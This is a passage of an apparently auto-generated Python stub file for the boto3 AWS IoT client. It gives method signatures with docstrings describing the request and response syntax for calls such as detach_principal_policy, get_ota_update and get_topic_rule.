specified certificate. **Note:** This API is deprecated. Please use DetachPolicy instead. .. danger:: This operation is deprecated and may not function as expected. This operation should not be used going forward and is only kept for the purpose of backwards compatiblity. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DetachPrincipalPolicy>`_ **Request Syntax** :: response = client.detach_principal_policy( policyName='string', principal='string' ) :type policyName: string :param policyName: **[REQUIRED]** The name of the policy to detach. :type principal: string :param principal: **[REQUIRED]** The principal. If the principal is a certificate, specify the certificate ARN. If the principal is an Amazon Cognito identity, specify the identity ID. :returns: None """ pass def detach_security_profile(self, securityProfileName: str, securityProfileTargetArn: str) -> Dict: """ Disassociates a Device Defender security profile from a thing group or from this account. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DetachSecurityProfile>`_ **Request Syntax** :: response = client.detach_security_profile( securityProfileName='string', securityProfileTargetArn='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The security profile that is detached. :type securityProfileTargetArn: string :param securityProfileTargetArn: **[REQUIRED]** The ARN of the thing group from which the security profile is detached. :rtype: dict :returns: """ pass def detach_thing_principal(self, thingName: str, principal: str) -> Dict: """ Detaches the specified principal from the specified thing. A principal can be X.509 certificates, IAM users, groups, and roles, Amazon Cognito identities or federated identities. .. note:: This call is asynchronous. It might take several seconds for the detachment to propagate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DetachThingPrincipal>`_ **Request Syntax** :: response = client.detach_thing_principal( thingName='string', principal='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output from the DetachThingPrincipal operation. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing. :type principal: string :param principal: **[REQUIRED]** If the principal is a certificate, this value must be ARN of the certificate. If the principal is an Amazon Cognito identity, this value must be the ID of the Amazon Cognito identity. :rtype: dict :returns: """ pass def disable_topic_rule(self, ruleName: str): """ Disables the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DisableTopicRule>`_ **Request Syntax** :: response = client.disable_topic_rule( ruleName='string' ) :type ruleName: string :param ruleName: **[REQUIRED]** The name of the rule to disable. :returns: None """ pass def enable_topic_rule(self, ruleName: str): """ Enables the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/EnableTopicRule>`_ **Request Syntax** :: response = client.enable_topic_rule( ruleName='string' ) :type ruleName: string :param ruleName: **[REQUIRED]** The name of the topic rule to enable. :returns: None """ pass def generate_presigned_url(self, ClientMethod: str = None, Params: Dict = None, ExpiresIn: int = None, HttpMethod: str = None): """ Generate a presigned url given a client, its method, and arguments :type ClientMethod: string :param ClientMethod: The client method to presign for :type Params: dict :param Params: The parameters normally passed to ``ClientMethod``. :type ExpiresIn: int :param ExpiresIn: The number of seconds the presigned url is valid for. By default it expires in an hour (3600 seconds) :type HttpMethod: string :param HttpMethod: The http method to use on the generated url. By default, the http method is whatever is used in the method\'s model. :returns: The presigned url """ pass def get_effective_policies(self, principal: str = None, cognitoIdentityPoolId: str = None, thingName: str = None) -> Dict: """ Gets a list of the policies that have an effect on the authorization behavior of the specified device when it connects to the AWS IoT device gateway. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetEffectivePolicies>`_ **Request Syntax** :: response = client.get_effective_policies( principal='string', cognitoIdentityPoolId='string', thingName='string' ) **Response Syntax** :: { 'effectivePolicies': [ { 'policyName': 'string', 'policyArn': 'string', 'policyDocument': 'string' }, ] } **Response Structure** - *(dict) --* - **effectivePolicies** *(list) --* The effective policies. - *(dict) --* The policy that has the effect on the authorization results. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **policyDocument** *(string) --* The IAM policy document. :type principal: string :param principal: The principal. :type cognitoIdentityPoolId: string :param cognitoIdentityPoolId: The Cognito identity pool ID. :type thingName: string :param thingName: The thing name. :rtype: dict :returns: """ pass def get_indexing_configuration(self) -> Dict: """ Gets the search configuration. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetIndexingConfiguration>`_ **Request Syntax** :: response = client.get_indexing_configuration() **Response Syntax** :: { 'thingIndexingConfiguration': { 'thingIndexingMode': 'OFF'|'REGISTRY'|'REGISTRY_AND_SHADOW', 'thingConnectivityIndexingMode': 'OFF'|'STATUS' }, 'thingGroupIndexingConfiguration': { 'thingGroupIndexingMode': 'OFF'|'ON' } } **Response Structure** - *(dict) --* - **thingIndexingConfiguration** *(dict) --* Thing indexing configuration. - **thingIndexingMode** *(string) --* Thing indexing mode. Valid values are: * REGISTRY – Your thing index contains registry data only. * REGISTRY_AND_SHADOW - Your thing index contains registry and shadow data. * OFF - Thing indexing is disabled. - **thingConnectivityIndexingMode** *(string) --* Thing connectivity indexing mode. Valid values are: * STATUS – Your thing index contains connectivity status. To enable thing connectivity indexing, thingIndexMode must not be set to OFF. * OFF - Thing connectivity status indexing is disabled. - **thingGroupIndexingConfiguration** *(dict) --* The index configuration. - **thingGroupIndexingMode** *(string) --* Thing group indexing mode. :rtype: dict :returns: """ pass def get_job_document(self, jobId: str) -> Dict: """ Gets a job document. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetJobDocument>`_ **Request Syntax** :: response = client.get_job_document( jobId='string' ) **Response Syntax** :: { 'document': 'string' } **Response Structure** - *(dict) --* - **document** *(string) --* The job document content. :type jobId: string :param jobId: **[REQUIRED]** The unique identifier you assigned to this job when it was created. :rtype: dict :returns: """ pass def get_logging_options(self) -> Dict: """ Gets the logging options. NOTE: use of this command is not recommended. Use ``GetV2LoggingOptions`` instead. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetLoggingOptions>`_ **Request Syntax** :: response = client.get_logging_options() **Response Syntax** :: { 'roleArn': 'string', 'logLevel': 'DEBUG'|'INFO'|'ERROR'|'WARN'|'DISABLED' } **Response Structure** - *(dict) --* The output from the GetLoggingOptions operation. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **logLevel** *(string) --* The logging level. :rtype: dict :returns: """ pass def get_ota_update(self, otaUpdateId: str) -> Dict: """ Gets an OTA update. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetOTAUpdate>`_ **Request Syntax** :: response = client.get_ota_update( otaUpdateId='string' ) **Response Syntax** :: { 'otaUpdateInfo': { 'otaUpdateId': 'string', 'otaUpdateArn': 'string', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1), 'description': 'string', 'targets': [ 'string', ], 'awsJobExecutionsRolloutConfig': { 'maximumPerMinute': 123 }, 'targetSelection': 'CONTINUOUS'|'SNAPSHOT', 'otaUpdateFiles': [ { 'fileName': 'string', 'fileVersion': 'string', 'fileLocation': { 'stream': { 'streamId': 'string', 'fileId': 123 }, 's3Location': { 'bucket': 'string', 'key': 'string', 'version': 'string' } }, 'codeSigning': { 'awsSignerJobId': 'string', 'startSigningJobParameter': { 'signingProfileParameter': { 'certificateArn': 'string', 'platform': 'string', 'certificatePathOnDevice': 'string' }, 'signingProfileName': 'string', 'destination': { 's3Destination': { 'bucket': 'string', 'prefix': 'string' } } }, 'customCodeSigning': { 'signature': { 'inlineDocument': b'bytes' }, 'certificateChain': { 'certificateName': 'string', 'inlineDocument': 'string' }, 'hashAlgorithm': 'string', 'signatureAlgorithm': 'string' } }, 'attributes': { 'string': 'string' } }, ], 'otaUpdateStatus': 'CREATE_PENDING'|'CREATE_IN_PROGRESS'|'CREATE_COMPLETE'|'CREATE_FAILED', 'awsIotJobId': 'string', 'awsIotJobArn': 'string', 'errorInfo': { 'code': 'string', 'message': 'string' }, 'additionalParameters': { 'string': 'string' } } } **Response Structure** - *(dict) --* - **otaUpdateInfo** *(dict) --* The OTA update info. - **otaUpdateId** *(string) --* The OTA update ID. - **otaUpdateArn** *(string) --* The OTA update ARN. - **creationDate** *(datetime) --* The date when the OTA update was created. - **lastModifiedDate** *(datetime) --* The date when the OTA update was last updated. - **description** *(string) --* A description of the OTA update. - **targets** *(list) --* The targets of the OTA update. - *(string) --* - **awsJobExecutionsRolloutConfig** *(dict) --* Configuration for the rollout of OTA updates. - **maximumPerMinute** *(integer) --* The maximum number of OTA update job executions started per minute. - **targetSelection** *(string) --* Specifies whether the OTA update will continue to run (CONTINUOUS), or will be complete after all those things specified as targets have completed the OTA update (SNAPSHOT). If continuous, the OTA update may also be run on a thing when a change is detected in a target. For example, an OTA update will run on a thing when the thing is added to a target group, even after the OTA update was completed by all things originally in the group. - **otaUpdateFiles** *(list) --* A list of files associated with the OTA update. - *(dict) --* Describes a file to be associated with an OTA update. - **fileName** *(string) --* The name of the file. - **fileVersion** *(string) --* The file version. - **fileLocation** *(dict) --* The location of the updated firmware. - **stream** *(dict) --* The stream that contains the OTA update. - **streamId** *(string) --* The stream ID. - **fileId** *(integer) --* The ID of a file associated with a stream. - **s3Location** *(dict) --* The location of the updated firmware in S3. - **bucket** *(string) --* The S3 bucket. - **key** *(string) --* The S3 key. - **version** *(string) --* The S3 bucket version. - **codeSigning** *(dict) --* The code signing method of the file. - **awsSignerJobId** *(string) --* The ID of the AWSSignerJob which was created to sign the file. - **startSigningJobParameter** *(dict) --* Describes the code-signing job. - **signingProfileParameter** *(dict) --* Describes the code-signing profile. - **certificateArn** *(string) --* Certificate ARN. - **platform** *(string) --* The hardware platform of your device. - **certificatePathOnDevice** *(string) --* The location of the code-signing certificate on your device. - **signingProfileName** *(string) --* The code-signing profile name. - **destination** *(dict) --* The location to write the code-signed file. - **s3Destination** *(dict) --* Describes the location in S3 of the updated firmware. - **bucket** *(string) --* The S3 bucket that contains the updated firmware. - **prefix** *(string) --* The S3 prefix. - **customCodeSigning** *(dict) --* A custom method for code signing a file. - **signature** *(dict) --* The signature for the file. - **inlineDocument** *(bytes) --* A base64 encoded binary representation of the code signing signature. - **certificateChain** *(dict) --* The certificate chain. - **certificateName** *(string) --* The name of the certificate. - **inlineDocument** *(string) --* A base64 encoded binary representation of the code signing certificate chain. - **hashAlgorithm** *(string) --* The hash algorithm used to code sign the file. - **signatureAlgorithm** *(string) --* The signature algorithm used to code sign the file. - **attributes** *(dict) --* A list of name/attribute pairs. - *(string) --* - *(string) --* - **otaUpdateStatus** *(string) --* The status of the OTA update. - **awsIotJobId** *(string) --* The AWS IoT job ID associated with the OTA update. - **awsIotJobArn** *(string) --* The AWS IoT job ARN associated with the OTA update. - **errorInfo** *(dict) --* Error information associated with the OTA update. - **code** *(string) --* The error code. - **message** *(string) --* The error message. - **additionalParameters** *(dict) --* A collection of name/value pairs - *(string) --* - *(string) --* :type otaUpdateId: string :param otaUpdateId: **[REQUIRED]** The OTA update ID. :rtype: dict :returns: """ pass def get_paginator(self, operation_name: str = None) -> Paginator: """ Create a paginator for an operation. :type operation_name: string :param operation_name: The operation name. This is the same name as the method name on the client. For example, if the method name is ``create_foo``, and you\'d normally invoke the operation as ``client.create_foo(**kwargs)``, if the ``create_foo`` operation can be paginated, you can use the call ``client.get_paginator(\"create_foo\")``. :raise OperationNotPageableError: Raised if the operation is not pageable. You can use the ``client.can_paginate`` method to check if an operation is pageable. :rtype: L{botocore.paginate.Paginator} :return: A paginator object. """ pass def get_policy(self, policyName: str) -> Dict: """ Gets information about the specified policy with the policy document of the default version. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetPolicy>`_ **Request Syntax** :: response = client.get_policy( policyName='string' ) **Response Syntax** :: { 'policyName': 'string', 'policyArn': 'string', 'policyDocument': 'string', 'defaultVersionId': 'string', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1), 'generationId': 'string' } **Response Structure** - *(dict) --* The output from the GetPolicy operation. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **policyDocument** *(string) --* The JSON document that describes the policy. - **defaultVersionId** *(string) --* The default policy version ID. - **creationDate** *(datetime) --* The date the policy was created. - **lastModifiedDate** *(datetime) --* The date the policy was last modified. - **generationId** *(string) --* The generation ID of the policy. :type policyName: string :param policyName: **[REQUIRED]** The name of the policy. :rtype: dict :returns: """ pass def get_policy_version(self, policyName: str, policyVersionId: str) -> Dict: """ Gets information about the specified policy version. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetPolicyVersion>`_ **Request Syntax** :: response = client.get_policy_version( policyName='string', policyVersionId='string' ) **Response Syntax** :: { 'policyArn': 'string', 'policyName': 'string', 'policyDocument': 'string', 'policyVersionId': 'string', 'isDefaultVersion': True|False, 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1), 'generationId': 'string' } **Response Structure** - *(dict) --* The output from the GetPolicyVersion operation. - **policyArn** *(string) --* The policy ARN. - **policyName** *(string) --* The policy name. - **policyDocument** *(string) --* The JSON document that describes the policy. - **policyVersionId** *(string) --* The policy version ID. - **isDefaultVersion** *(boolean) --* Specifies whether the policy version is the default. - **creationDate** *(datetime) --* The date the policy version was created. - **lastModifiedDate** *(datetime) --* The date the policy version was last modified. - **generationId** *(string) --* The generation ID of the policy version. :type policyName: string :param policyName: **[REQUIRED]** The name of the policy. :type policyVersionId: string :param policyVersionId: **[REQUIRED]** The policy version ID. :rtype: dict :returns: """ pass def get_registration_code(self) -> Dict: """ Gets a registration code used to register a CA certificate with AWS IoT. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetRegistrationCode>`_ **Request Syntax** :: response = client.get_registration_code() **Response Syntax** :: { 'registrationCode': 'string' } **Response Structure** - *(dict) --* The output from the GetRegistrationCode operation. - **registrationCode** *(string) --* The CA certificate registration code. :rtype: dict :returns: """ pass def get_statistics(self, queryString: str, indexName: str = None, aggregationField: str = None, queryVersion: str = None) -> Dict: """ Gets statistics about things that match the specified query. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetStatistics>`_ **Request Syntax** :: response = client.get_statistics( indexName='string', queryString='string', aggregationField='string', queryVersion='string' ) **Response Syntax** :: { 'statistics': { 'count': 123 } } **Response Structure** - *(dict) --* - **statistics** *(dict) --* The statistics returned by the Fleet Indexing service based on the query and aggregation field. - **count** *(integer) --* The count of things that match the query. :type indexName: string :param indexName: The name of the index to search. The default value is ``AWS_Things`` . :type queryString: string :param queryString: **[REQUIRED]** The query used to search. You can specify \"*\" for the query string to get the count of all indexed things in your AWS account. :type aggregationField: string :param aggregationField: The aggregation field name. Currently not supported. :type queryVersion: string :param queryVersion: The version of the query used to search. :rtype: dict :returns: """ pass def get_topic_rule(self, ruleName: str) -> Dict: """ Gets information about the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/GetTopicRule>`_ **Request Syntax** :: response = client.get_topic_rule( ruleName='string' ) **Response Syntax** :: { 'ruleArn': 'string', 'rule': { 'ruleName': 'string', 'sql': 'string', 'description': 'string', 'createdAt': datetime(2015, 1, 1), 'actions': [ { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } }, ], 'ruleDisabled': True|False, 'awsIotSqlVersion': 'string', 'errorAction': { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } } } } **Response Structure** - *(dict) --* The output from the GetTopicRule operation. - **ruleArn** *(string) --* The rule ARN. - **rule** *(dict) --* The rule. - **ruleName** *(string) --* The name of the rule. - **sql** *(string) --* The SQL statement used to query the topic. When using a SQL query with multiple lines, be sure to escape the newline characters. - **description** *(string) --* The description of the rule. - **createdAt** *(datetime) --* The date and time the rule was created. - **actions** *(list) --* The actions associated with the rule. - *(dict) --* Describes the actions associated with a rule. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* The name of the DynamoDB table. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* The hash key name. - **hashKeyValue** *(string) --* The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are "STRING" or "NUMBER" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are "STRING" or "NUMBER" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* Specifies the DynamoDB table to which the message data will be written. For example: ``{ "dynamoDBv2": { "roleArn": "aws:iam:12341251:my-role" "putItem": { "tableName": "my-table" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* The ARN of the SNS topic. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are "JSON" and "RAW". The default value of the attribute is "RAW". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **queueUrl** *(string) --* The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **topic** *(string) --* The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **bucketName** *(string) --* The Amazon S3 bucket. - **key** *(string) --* The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: '\n' (newline), '\t' (tab), '\r\n' (Windows newline), ',' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* The CloudWatch metric namespace name. - **metricName** *(string) --* The CloudWatch metric name. - **metricValue** *(string) --* The CloudWatch metric value. - **metricUnit** *(string) --* The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* The CloudWatch alarm name. - **stateReason** *(string) --* The reason for the alarm change. - **stateValue** *(string) --* The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - **roleArn** *(string) --* The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* The endpoint of your Elasticsearch domain. - **index** *(string) --* The Elasticsearch index where you want to store your data. - **type** *(string) --* The type of document you are storing. - **id** *(string) --* The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* The token used to authenticate access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. ("Action":"iotevents:BatchPutMessage"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* The ARN of the role that grants IoT permission to start execution of a state machine ("Action":"states:StartExecution"). - **ruleDisabled** *(boolean) --* Specifies whether the rule is disabled. - **awsIotSqlVersion** *(string) --* The version of the SQL rules engine to use when evaluating the rule. - **errorAction** *(dict) --* The action to perform when an error occurs. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* The name of the DynamoDB table. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* The hash key name. - **hashKeyValue** *(string) --* The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are "STRING" or "NUMBER" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are "STRING" or "NUMBER" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* Specifies the DynamoDB table to which the message data will be written. For example: ``{ "dynamoDBv2": { "roleArn": "aws:iam:12341251:my-role" "putItem": { "tableName": "my-table" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* The ARN of the SNS topic. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are "JSON" and "RAW". The default value of the attribute is "RAW". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **queueUrl** *(string) --* The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **topic** *(string) --* The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* The ARN of the IAM role that grants access. - **bucketName** *(string) --* The Amazon S3 bucket. - **key** *(string) --* The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: '\n' (newline), '\t' (tab), '\r\n' (Windows newline), ',' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* The CloudWatch metric namespace name. - **metricName** *(string) --* The CloudWatch metric name. - **metricValue** *(string) --* The CloudWatch metric value. - **metricUnit** *(string) --* The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* The CloudWatch alarm name. - **stateReason** *(string) --* The reason for the alarm change. - **stateValue** *(string) --* The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - 